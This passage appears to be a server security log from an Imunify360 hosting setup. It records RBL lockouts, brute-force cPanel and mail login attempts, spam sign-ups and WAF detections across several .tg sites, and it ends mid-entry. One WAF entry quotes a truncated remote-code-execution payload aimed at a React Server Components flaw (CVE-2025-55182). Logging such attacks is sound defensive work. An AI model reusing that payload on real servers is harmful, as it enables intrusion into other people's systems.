Jun  6 06:02:55 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [06/Jun/2026:06:02:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040155&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fguillaume-soro%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780725769 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/guillaume-soro/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.24.10
country_id: 1527747
description:
2026-06-06 06:04:01 H=([212.241.24.10]) [212.241.24.10]:1450 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.142.147.176
country_id: 1880251
domain: vo2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:34.142.147.176||TA:34.142.147.176||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-03.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.90.93.233
country_id: 6252001
domain: www.radio.zephyr.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Your Money Surprise Has Arrived eropolik.blogspot.mx rV||Email:ssakjanngam7@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.100
country_id: 3469034
description:
Jun  6 06:05:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 06:07:22 +0000] info [cpaneld] 185.213.83.243 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  6 06:07:12 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 63.178.123.239
country_id: 2921044
domain: www.refonte.sodigaz.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sodigaz||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 84.15.220.239
country_id: 458258
domain: macite.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-08.84.15.220.239||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.136.90.191
country_id: 3865483
description:
[2026-06-06 06:10:20 +0000] info [cpaneld] 190.136.90.191 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.18.169.70
country_id: 2017370
description:
[2026-06-06 06:10:27 +0000] info [cpaneld] 188.18.169.70 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.248.92
country_id: 3865483
description:
[2026-06-06 06:09:57 +0000] info [cpaneld] 186.158.248.92 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.193.242.214
country_id: 3469034
description:
[2026-06-06 06:10:02 +0000] info [cpaneld] 186.193.242.214 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.143.214
country_id: 294640
description:
[2026-06-06 06:10:05 +0000] info [cpaneld] 79.177.143.214 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.243.220.181
country_id: 3996063
description:
[2026-06-06 06:10:14 +0000] info [cpaneld] 187.243.220.181 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.98.237.249
country_id: 2589581
description:
[2026-06-06 06:10:16 +0000] info [cpaneld] 41.98.237.249 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 210.186.196.241
country_id: 1733045
description:
[2026-06-06 06:10:25 +0000] info [cpaneld] 210.186.196.241 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.20.233.113
country_id: 587116
description:
2026-06-06 06:09:58 H=([94.20.233.113]) [94.20.233.113]:18128 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.96.236
country_id: 3469034
description:
Jun  6 06:10:04 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.96.236 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.219.135.200
country_id: 2542007
description:
[2026-06-06 06:10:31 +0000] info [cpaneld] 45.219.135.200 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 210.186.155.205
country_id: 1733045
description:
[2026-06-06 06:10:11 +0000] info [cpaneld] 210.186.155.205 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.24
country_id: 1512440
description:
2026-06-06 06:11:32 H=([213.230.87.24]) [213.230.87.24]:55613 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 180.173.155.108
country_id: 1814991
description:
2026-06-06 06:13:36 H=([180.173.155.108]) [180.173.155.108]:59125 F=<John@4452.com> rejected RCPT <ag@togointerim.net>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.24.10
country_id: 1527747
description:
2026-06-06 06:13:40 H=([212.241.24.10]) [212.241.24.10]:1206 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  6 06:15:32 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@istm.tg [06/06/2026:06:16:29 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@istm.tg


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.153.49
country_id: 2363686
description:
[2026-06-06 06:16:09 +0000] info [cpaneld] 196.168.153.49 NEW gemwjxuz:BK29VhNsJLFOl2vr address=196.168.153.49,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:gemwjxuz:0gLbR1zgBsWphE7M:create_user_session,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.24
country_id: 1512440
description:
2026-06-06 06:18:06 H=([213.230.87.24]) [213.230.87.24]:39084 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.196
country_id: 6252001
description:
[2026-06-06 06:21:28 +0000] info [whostmgrd] 45.38.16.196 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.196
country_id: 6252001
description:
[2026-06-06 06:22:33 +0000] info [whostmgrd] 45.38.16.196 - stephanetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: www.hrmbj.mesyscom.com
description:


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: www.hsi.pnls.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var upnd=arguments[0x1];var chq=upnd;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"f\\\",\\\"er\\\


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.24
country_id: 1512440
description:
2026-06-06 06:23:39 H=([213.230.87.24]) [213.230.87.24]:65321 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.196
country_id: 6252001
description:
[2026-06-06 06:23:58 +0000] info [cpaneld] 45.38.16.196 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mouniouyi@istm.tg [06/06/2026:06:23:49 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mouniouyi@istm.tg


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.72.201
country_id: 1512440
description:
2026-06-06 06:25:13 H=([0.0.0.0]) [84.54.72.201]:7521 F=<John@4452.com> rejected RCPT <properties@confortis.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-27.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Tap Into Your Lavish Prize eropolik.blogspot.gr Bv||Email:susanpierce333@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-06 06:29:07 +0000] info [whostmgrd] 104.28.192.94 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.1.213.160
country_id: 1562822
description:
Jun  6 06:29:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.1.213.160 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-06 06:29:05 +0000] info [whostmgrd] 104.28.192.94 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.213.160
country_id: 1562822
description:
2026-06-06 06:29:18 dovecot_plain authenticator failed for H=(t1ta453njjo4m5zn) [117.1.213.160]:56389: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.196
country_id: 6252001
description:
[2026-06-06 06:30:08 +0000] info [whostmgrd] 45.38.16.196 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.120
country_id: 1512440
description:
2026-06-06 06:30:22 H=([198.163.192.134]) [213.230.86.120]:16364 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.63
country_id: 690791
description:
Jun  6 06:32:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.63 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.196
country_id: 6252001
description:
[2026-06-06 06:32:15 +0000] info [cpaneld] 45.38.16.196 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@istm.tg [06/06/2026:06:33:39 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@istm.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.160
country_id: 3865483
description:
Jun  6 06:32:55 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.160 has been locked due to Imunify RBL


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 136.118.2.37
country_id: 6252001
domain: scafricaplc.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.14||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.112
country_id: 1512440
description:
2026-06-06 06:36:57 H=([213.230.86.112]) [213.230.86.112]:13472 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.105.99.77
country_id: 3624060
description:
[2026-06-06 06:40:34 +0000] info [cpaneld] 200.105.99.77 - itstg "GET /login/?login_only=1&user=itstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user itstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.132.8.91
country_id: 3996063
description:
[2026-06-06 06:40:25 +0000] info [cpaneld] 201.132.8.91 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.155.115.61
country_id: 2017370
description:
[2026-06-06 06:40:28 +0000] info [cpaneld] 178.155.115.61 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.162.74.24
country_id: 3658394
description:
[2026-06-06 06:40:31 +0000] info [cpaneld] 45.162.74.24 - its "GET /login/?login_only=1&user=its&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user its (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.197
country_id: 3865483
description:
Jun  6 06:41:17 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.197 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 67.214.181.70
country_id: 6252001
description:
67.214.181.70 - - [06/Jun/2026:06:41:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776689&pdata=http%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780728097 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:67.214.181.70


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.209.16
country_id: 3865483
description:
Jun  6 06:41:39 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.209.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.209.16
country_id: 3865483
description:
Jun  6 06:41:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.209.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 104.28.195.186
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.109.73.135
country_id: 1835841
description:
Jun  6 06:46:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.109.73.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-06-06 06:46:51 dovecot_login authenticator failed for H=([58.218.254.214]) [222.109.73.135]:43974: 535 Incorrect authentication data (set_id=security@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.158.140.244
country_id: 1835841
description:
Jun  6 06:47:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.158.140.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.158.140.244
country_id: 1835841
description:
2026-06-06 06:47:32 dovecot_login authenticator failed for H=([103.251.31.26]) [221.158.140.244]:52090: 535 Incorrect authentication data (set_id=security)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.68.186.122
country_id: 2077456
description:
Jun  6 06:48:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.68.186.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.68.186.122
country_id: 2077456
description:
2026-06-06 06:48:18 dovecot_login authenticator failed for H=61-68-186-122.tpgi.com.au ([98.181.137.75]) [61.68.186.122]:57082: 535 Incorrect authentication data (set_id=security@tps.tg)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 104.28.195.187
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/arsetg/public_html/wp-includes/SimplePie/autoloader.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.190
country_id: 3175395
description:
Jun  6 06:49:42 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.190
country_id: 3175395
description:
Jun  6 06:49:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.130.220
country_id: 99237
description:
Jun  6 06:49:55 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.130.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.199.21.154
country_id: 1220409
description:
2026-06-06 06:50:50 H=([94.199.21.154]) [94.199.21.154]:46159 F=<John@4452.com> rejected RCPT <deroupartners@confortis.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Get Your Special Funds eropolik.blogspot.ie QN||Email:abdulistic@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-51.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 104.28.195.187
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/arsetg/public_html/wp-includes/sodium_compat/autoload-php7.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.166.25.120
country_id: 102358
description:
2026-06-06 06:53:54 dovecot_plain authenticator failed for H=120.25.166.34.bc.googleusercontent.com (localhost) [34.166.25.120]:2354: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.194
country_id: 1512440
description:
2026-06-06 06:55:25 H=([84.54.71.194]) [84.54.71.194]:15130 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.209.150.149
country_id: 798544
description:
37.209.150.149 - - [06/Jun/2026:06:56:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132116&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F12%252F09%252Factualites-nationales-cuba-2024-prof-robert-dussey-qualifie-lesclavage-de-genocide-et-plaide-pour-une-reconnaissance-historique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780728987 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/12/09/actualites-nationales-cuba-2024-prof-robert-dussey-qualifie-lesclavage-de-genocide-et-plaide-pour-une-reconnaissance-historique/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.9847.1143 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.209.150.149


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.194
country_id: 1512440
description:
2026-06-06 06:58:08 H=([84.54.71.194]) [84.54.71.194]:29067 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.66.84.73
country_id: 2017370
description:
Jun  6 06:59:01 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.66.84.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.66.84.73
country_id: 2017370
description:
2026-06-06 06:59:03 dovecot_login authenticator failed for H=([178.66.84.73]) [178.66.84.73]:33722: 535 Incorrect authentication data (set_id=sales@togosem.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.21.127.46
country_id: 660013
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-59.65.21.127.46||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.66
country_id: 3996063
description:
Jun  6 07:01:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.168
country_id: 3057568
description:
Jun  6 07:00:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.217.144.79
country_id: 6252001
domain: www.snbt-togo.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.47.135.96
country_id: 587116
description:
2026-06-06 07:02:22 H=([212.47.135.96]) [212.47.135.96]:6500 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.194
country_id: 1512440
description:
2026-06-06 07:01:53 H=([84.54.71.194]) [84.54.71.194]:30828 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.211.213
country_id: 1512440
description:
2026-06-06 07:03:43 H=([95.214.211.213]) [95.214.211.213]:27275 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.15
country_id: 6252001
domain: crrhuemoa.org
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 46.161.50.108
country_id: 2017370
description:
46.161.50.108 - - [06/Jun/2026:07:04:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13197974&pdata=https%253A%252F%252F154.70.82.249%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780729497 HTTP/2.0" 302 0 154.70.82.249 "https://154.70.82.249:2087/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.161.50.108


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.143.60
country_id: 690791
description:
Jun  6 07:06:05 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.143.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.47.135.96
country_id: 587116
description:
2026-06-06 07:06:03 H=([212.47.135.96]) [212.47.135.96]:4533 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.225.95.106
country_id: 1814991
description:
2026-06-06 07:06:11 H=([122.225.95.106]) [122.225.95.106]:49595 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.184.10
country_id: 732800
description:
Jun  6 07:06:33 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.184.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
